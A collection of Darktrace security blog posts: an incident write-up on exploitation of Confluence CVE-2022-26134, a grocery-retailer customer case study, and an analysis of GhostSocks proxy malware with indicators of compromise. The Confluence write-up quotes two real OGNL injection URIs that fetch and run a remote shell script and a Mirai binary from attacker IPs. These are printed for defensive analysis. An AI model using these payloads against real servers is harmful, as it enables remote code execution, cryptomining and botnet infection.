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June 12, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness
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12
Jun 2022

Summary

  • CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
  • Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
  • Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

Introduction

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.[4]

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.[2]

Case study: European media organization

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.[6]

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.[9]

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

Figure 3: VirusTotal confirming evidence of Kinsing shell download

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

Darktrace coverage and guidance

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Block connections to 194.38.20[.]166 port 80 for two hours
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • Block connections to 176.113.81[.]186 port 80 for 24 hours

Darktrace customers can also maximise the value of this response by taking the following steps:

  • Ensure Antigena Network is deployed.
  • Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
  • Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
  • Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

  • Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
  • For those unable to update, temporary mitigations can be found in the formal security advisory.
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.

Appendix

Darktrace model detections (for the discussed incident)

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness

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April 1, 2026

AI-powered security for a rapidly growing grocery enterprise

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Protecting a complex, fast-growing retail organization

For this multi-banner grocery holding organization, cybersecurity is considered an essential business enabler, protecting operations, growth, and customer trust. The organization’s lean IT team manages a highly distributed environment spanning corporate offices, 100+ stores, distribution centers and  thousands of endpoints, users, and third-party connections.

Mergers and acquisitions fueled rapid growth, but they also introduced escalating complexity that constrained visibility into users, endpoints, and security risks inherited across acquired environments.

Closing critical visibility gaps with limited resources

Enterprise-wide visibility is a top priority for the organization, says the  Vice President of Information Technology. “We needed insights beyond the perimeter into how users and devices were behaving across the organization.”

A security breach that occurred before the current IT leadership joined the company reinforced the urgency and elevated cybersecurity to an executive-level priority with a focus on protecting customer trust. The goal was to build a multi-layered security model that could deliver autonomous, enterprise-wide protection without adding headcount.

Managing cyber risk in M&A

Mergers and acquisitions are central to the grocery holding company’s growth strategy. But each transaction introduces new cyber risk, including inherited network architectures, inconsistent tooling, excessive privileges, and remnants of prior security incidents that were never fully remediated.

“Our M&A targets range from small chains with a single IT person and limited cyber tools to large chains with more developed IT teams, toolsets and instrumentation,” explains the VP of IT. “We needed a fast, repeatable, and reliable way to assess cyber risk before transactions closed.”

AI-driven security built for scale, speed, and resilience

Rather than layering additional point tools onto an already complex environment, the retailer adopted the Darktrace ActiveAI Security Platform™ in 2020 as part of a broader modernization effort to improve resilience, close visibility gaps, and establish a security foundation that could scale with growth.

“Darktrace’s AI-driven approach provided the ideal solution to these challenges,” shares the VP of IT. “It has empowered our organization to maintain a robust security strategy, ensuring the protection of our network and the smooth operation of our business.”

Enterprise-wide visibility into traffic  

By monitoring both north-south and east-west traffic and applying Self-Learning AI, Darktrace develops a dynamic understanding of how users and devices normally behave across locations, roles, and systems.

“Modeling normal behavior across the environment enables us to quickly spot behavior that doesn’t fit. Even subtle changes that could signal a threat but appear legitimate at first glance,” explains the VP of IT.

Real-time threat containment, 24/7

Adopting autonomous response has created operational breathing room for the security team, says the company’s Cybersecurity  Engineer.

“Early on, we enabled full Darktrace autonomous mode and we continue to do so today,” shares the IT Security Architect. “Allowing the technology to act first gives us the time we need to investigate incidents during business hours without putting the business at risk.”

Unified, actionable view of security ecosystem

The grocery retailer integrated Darktrace with its existing security ecosystem of firewalls, vulnerability management tools, and endpoint detection and response, and the VP of IT described the adoption process as “exceptionally smooth.”

The team can correlate enterprise-wide security data for a unified and actionable picture of all activity and risk. Using this “single pane of glass” approach, the retailer trains Level 1 and Level 2 operations staff to assist with investigations and user follow-ups, effectively extending the reach of the security function without expanding headcount.

From reactive defense to security at scale

With Darktrace delivering continuous visibility, autonomous containment, and integrated security workflows, the organization has strengthened its cybersecurity posture while improving operational efficiency. The result is a security model that not only reduces risk, but also supports growth, resilience, and informed decision-making at the business level.

Faster detection, faster resolution

With autonomous detection and response, the retailer can immediately contain risk while analysts investigate and validate activity. With this approach, the company can maintain continuous protection even outside business hours and reduce the chance of lateral spread across systems or locations.

Enterprise-grade protection with a lean team

From cloud environments to clients to SaaS collaboration tools, Darktrace provides holistic autonomous AI defense, processing petabytes of the organization’s network traffic and investigating millions of individual events that could be indicative of a wider incident.

Today, Darktrace autonomously conducts the majority of all investigations on behalf of the IT team, escalating only a tiny fraction for analyst review. The impact has been profound, freeing analysts from endless alerts and hours of triage so they can focus on more valuable, proactive, and gratifying work.

“From an operational perspective, Darktrace gives us time back,” says the Cybersecurity Engineer. More importantly, says the VP of IT, “it gives us peace of mind that we’re protected even if we’re not actively monitoring every alert.”

A strategic input for M&A decision-making

One of the most strategic outcomes has been the role of cybersecurity on M&A. 90 days prior to closing a transaction, the security team uses Darktrace alongside other tools to perform a cyber risk assessment of the potential acquisition. “Our approach with Darktrace has consistently identified gaps and exposed risks,” says the VP of IT, including:

  • Remnants of previous incidents that were never fully remediated
  • Network configurations with direct internet exposure
  • Excessive administrative privileges in Active Directory or on critical hosts

While security findings may not alter deal timelines, the VP of IT says they can have enormous business implications. “With early visibility into these risks, we can reduce exposure to inherited cyber threats, strengthen our position during negotiations, and establish clear remediation requirements.”

A security strategy built to evolve with the business

As the holding group expands its cloud footprint, it will extend Darktrace protections into Azure, applying the same AI-driven visibility and autonomous response to cloud workloads. The VP of IT says Darktrace's evolving capabilities will be instrumental in addressing the organization’s future cybersecurity needs and ability to adapt to the dynamic nature of cloud security.

“With Darktrace’s AI-driven approach, we have moved beyond reactive defense, establishing a resilient security foundation for confident expansion and modernization.”

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March 31, 2026

Phantom Footprints: Tracking GhostSocks Malware

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Why are attackers using residential proxies?

In today's threat landscape, blending in to normal activity is the key to success for attackers and the growing reliance on residential proxies shows a significant shift in how threat actors are attempting to bypass IP detection tools.

The increasing dependency on residential proxies has exposed how prevalent proxy services are and how reliant a diverse range of threat actors are on them. From cybercriminal groups to state‑sponsored actors, the need to bypass IP detection tools is fundamental to the success of these groups. One malware that has quietly become notorious for its ability to avoid anomaly detection is GhostSocks, a malware that turns compromised devices into residential proxies.

What is GhostSocks?

Originally marketed on the Russian underground forum xss[.]is as a Malware‑as‑a‑Service (MaaS), GhostSocks enables threat actors to turn compromised devices into residential proxies, leveraging the victim's internet bandwidth to route malicious traffic through it.

How does Ghostsocks malware work? 

The malware offers the threat actor a “clean” IP address, making it look like it is coming from a household user. This enables the bypassing of geographic restrictions and IP detection tools, a perfect tool for avoiding anomaly detection. It wasn’t until 2024, when a partnership was announced with the infamous information stealer Lumma Stealer, that GhostSocks surged into widespread adoption and alluded to who may be the author of the proxy malware.

Written in GoLang, GhostSocks utilizes the SOCKS5 proxy protocol, creating a SOCKS5 connection on infected devices. It uses a relay‑based C2 implementation, where an intermediary server sits in between the real command-and-control (C2) server and the infected device.

How does Ghostsocks malware evade detection?

To further increase evasion, the Ghostsocks malware wraps its SOCKS5 tunnels in TLS encryption, allowing its malicious traffic to blend into normal network traffic.

Early variants of GhostSocks do not implement a persistence mechanism; however, later versions achieve persistence via registry run keys, ensuring sustained proxy operational time [1].

While proxying is its primary purpose, GhostSocks also incorporates backdoor functionality, enabling malicious actors to run arbitrary commands and download and deploy additional malicious payloads. This was evident with the well‑known ransomware group Black Basta, which reportedly used GhostSocks as a way of maintaining long‑term access to victims’ networks [1].

Darktrace’s detection of GhostSocks Malware

Darktrace observed a steady increase in GhostSocks activity across its customer base from late 2025, with its Threat Research team identifying multiple incidents involving the malware. In one notable case from December 2025, Darktrace detected GhostSocks operating alongside Lumma Stealer, reinforcing that the partnership between Lumma and GhostSocks remains active despite recent attempts to disrupt Lumma’s infrastructure.

Darktrace’s first detection of GhostSocks‑related activity came when a device on the network of a customer in the education sector began making connections to an endpoint with a suspicious self‑signed certificate that had never been seen on the network before.

The endpoint in question, 159.89.46[.]92 with the hostname retreaw[.]click, has been flagged by multiple open‑source intelligence (OSINT) sources as being associated with Lumma Stealer’s C2 infrastructure [2], indicating its likely role in the delivery of malicious payloads.

Darktrace’s detection of suspicious SSL connections to retreaw[.]click, indicating an attempted link to Lumma C2 infrastructure.
Figure 1: Darktrace’s detection of suspicious SSL connections to retreaw[.]click, indicating an attempted link to Lumma C2 infrastructure.

Less than two minutes later, Darktrace observed the same device downloading the executable (.exe) file “Renewable.exe” from the IP 86.54.24[.]29, which Darktrace recognized as 100% rare for this network.

Darktrace’s detection of a device downloading the unusual executable file “Renewable.exe”.
Figure 2: Darktrace’s detection of a device downloading the unusual executable file “Renewable.exe”.

Both the file MD5 hash and the executable itself have been identified by multiple OSINT vendors as being associated with the GhostSocks malware [3], with the executable likely the backdoor component of the GhostSocks malware, facilitating the distribution of additional malicious payloads [4].

Following this detection, Darktrace’s Autonomous Response capability recommended a blocking action for the device in an early attempt to stop the malicious file download. In this instance, Darktrace was configured in Human Confirmation Mode, meaning the customer’s security team was required to manually apply any mitigative response actions. Had Autonomous Response been fully enabled at the time of the attack, the connections to 86.54.24[.]29 would have been blocked, rendering the malware ineffective at reaching its C2 infrastructure and halting any further malicious communication.

 Darktrace’s Autonomous Response capability suggesting blocking the suspicious connections to the unusual endpoint from which the malicious executable was downloaded.
Figure 3: Darktrace’s Autonomous Response capability suggesting blocking the suspicious connections to the unusual endpoint from which the malicious executable was downloaded.

As the attack was able to progress, two days later the device was detected downloading additional payloads from the endpoint www.lbfs[.]site (23.106.58[.]48), including “Setup.exe”, “,.exe”, and “/vp6c63yoz.exe”.

Darktrace’s detection of a malicious payload being downloaded from the endpoint www.lbfs[.]site.
Figure 4: Darktrace’s detection of a malicious payload being downloaded from the endpoint www.lbfs[.]site.

Once again, Darktrace recognized the anomalous nature of these downloads and suggested that a “group pattern of life” be enforced on the offending device in an attempt to contain the activity. By enforcing a pattern of life on a device, Darktrace restricts its activity to connections and behaviors similar to those performed by peer devices within the same group, while still allowing it to carry out its expected activity, effectively preventing deviations indicative of compromise while minimizing disruption. As mentioned earlier, these mitigative actions required manual implementation, so the activity was able to continue. Darktrace proceeded to suggest further actions to contain subsequent malicious downloads, including an attempt to block all outbound traffic to stop the attack from progressing.

An overview of download activity and the Autonomous Response actions recommended by Darktrace to block the downloads.
Figure 5: An overview of download activity and the Autonomous Response actions recommended by Darktrace to block the downloads.

Around the same time, a third executable download was detected, this time from the hostname hxxp[://]d2ihv8ymzp14lr.cloudfront.net/2021-08-19/udppump[.]exe, along with the file “udppump.exe”.While GhostSocks may have been present only to facilitate the delivery of additional payloads, there is no indication that these CloudFront endpoints or files are functionally linked to GhostSocks. Rather, the evidence points to broader malicious file‑download activity.

Shortly after the multiple executable files had been downloaded, Darktrace observed the device initiating a series of repeated successful connections to several rare external endpoints, behavior consistent with early-stage C2 beaconing activity.

Cyber AI Analyst’s investigation

Darktrace’s detection of additional malicious file downloads from malicious CloudFront endpoints.
Figure 7: Darktrace’s detection of additional malicious file downloads from malicious CloudFront endpoints.

Throughout the course of this attack, Darktrace’s Cyber AI Analyst carried out its own autonomous investigation, piecing together seemingly separate events into one wider incident encompassing the first suspicious downloads beginning on December 4, the unusual connectivity to many suspicious IPs that followed, and the successful beaconing activity observed two days later. By analyzing these events in real-time and viewing them as part of the bigger picture, Cyber AI Analyst was able to construct an in‑depth breakdown of the attack to aid the customer’s investigation and remediation efforts.

Cyber AI Analyst investigation detailing the sequence of events on the compromised device, highlighting its extensive connectivity to rare endpoints, the related malicious file‑download activity, and finally the emergence of C2 beaconing behavior.
Figure 8: Cyber AI Analyst investigation detailing the sequence of events on the compromised device, highlighting its extensive connectivity to rare endpoints, the related malicious file‑download activity, and finally the emergence of C2 beaconing behavior.

Conclusion

The versatility offered by GhostSocks is far from new, but its ability to convert compromised devices into residential proxy nodes, while enabling long‑term, covert network access—illustrates how threat actors continue to maximise the value of their victims’ infrastructure. Its growing popularity, coupled with its ongoing partnership with Lumma, demonstrates that infrastructure takedowns alone are insufficient; as long as threat actors remain committed to maintaining anonymity and can rapidly rebuild their ecosystems, related malware activity is likely to persist in some form.

Credit to Isabel Evans (Cyber Analyst), Gernice Lee (Associate Principal Analyst & Regional Consultancy Lead – APJ)
Edited by Ryan Traill (Content Manager)

Appendices

References

1.    https://bloo.io/research/malware/ghostsocks

2.    https://www.virustotal.com/gui/domain/retreaw.click/community

3.    https://synthient.com/blog/ghostsocks-from-initial-access-to-residential-proxy

4.    https://www.joesandbox.com/analysis/1810568/0/html

5. https://www.virustotal.com/gui/url/fab6525bf6e77249b74736cb74501a9491109dc7950688b3ae898354eb920413

Darktrace Model Detections

Real-time Detection Models

Anomalous Connection / Suspicious Self-Signed SSL

Anomalous Connection / Rare External SSL Self-Signed

Anomalous File / EXE from Rare External Location

Anomalous File / Multiple EXE from Rare External Locations

Compromise / Possible Fast Flux C2 Activity

Compromise / Large Number of Suspicious Successful Connections

Compromise / Large Number of Suspicious Failed Connections

Compromise / Sustained SSL or HTTP Increase

Autonomous Response Models

Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block

Antigena / Network / External Threat / Antigena Suspicious File Block

Antigena / Network / Significant Anomaly / Antigena Controlled and Model Alert

Antigena / Network / External Threat / Antigena File then New Outbound Block

Antigena / Network / Significant Anomaly / Antigena Alerts Over Time Block

Antigena / Network / External Threat / Antigena Suspicious Activity Block

MITRE ATT&CK Mapping

Tactic – Technique – Sub-Technique

Resource Development – T1588 - Malware

Initial Access - T1189 - Drive-by Compromise

Persistence – T1112 – Modify Registry

Command and Control – T1071 – Application Layer Protocol

Command and Control – T1095 – Non-application Layer Protocol

Command and Control – T1071 – Web Protocols

Command and Control – T1571 – Non-Standard Port

Command and Control – T1102 – One-Way Communication

List of Indicators of Compromise (IoCs)

86.54.24[.]29 - IP - Likely GhostSocks C2

http[://]86.54.24[.]29/Renewable[.]exe - Hostname - GhostSocks Distribution Endpoint

http[://]d2ihv8ymzp14lr.cloudfront[.]net/2021-08-19/udppump[.]exe - CDN - Payload Distribution Endpoint

www.lbfs[.]site - Hostname - Likely C2 Endpoint

retreaw[.]click - Hostname - Lumma C2 Endpoint

alltipi[.]com - Hostname - Possible C2 Endpoint

w2.bruggebogeyed[.]site - Hostname - Possible C2 Endpoint

9b90c62299d4bed2e0752e2e1fc777ac50308534 - SHA1 file hash – Likely GhostSocks payload

3d9d7a7905e46a3e39a45405cb010c1baa735f9e - SHA1 file hash - Likely follow-up payload

10f928e00a1ed0181992a1e4771673566a02f4e3 - SHA1 file hash - Likely follow-up payload

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About the author
Isabel Evans
Cyber Analyst
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